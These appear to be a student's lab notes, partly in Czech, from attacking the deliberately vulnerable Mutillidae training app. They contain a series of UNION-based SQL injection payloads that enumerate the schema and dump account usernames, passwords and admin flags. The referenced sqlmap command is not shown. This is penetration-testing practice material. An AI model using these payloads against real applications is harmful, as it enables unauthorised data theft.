### OWASP 2017 - A1 - Injection (SQL) - SQLmap Practice - Login

Zjistím si cookie.


Poté použiji sqlmap s následující syntaxí:

Který mi vypíše obsah mutillidae databáze. :)


Credit cards



Accounts



### Others - Unrestricted File Upload - File Upload



### OWASP 2017 - A1 - Injection (SQL) - SQLi - Extract Data - User Info (SQL)

`' union select null, null, database(), null, null, null, null – `

`' union select null, null, table_name, null, null, null, null from information_schema.tables -- `

`' union select null, null, column_name, null, null, null, null from information_schema.columns where table_name = 'accounts' -- `

`' union select cid, username, password, mysignature, is_admin, firstname, lastname from muti.accounts – `

`' union select cid, username, password, mysignature, is_admin, firstname, lastname from mutillidae.accounts --`

`' union select 1, username, password, is_admin, 5, 6, 7 from mutillidae.accounts -- `


admin, Adrian, aaron ABaker - jsou admin učty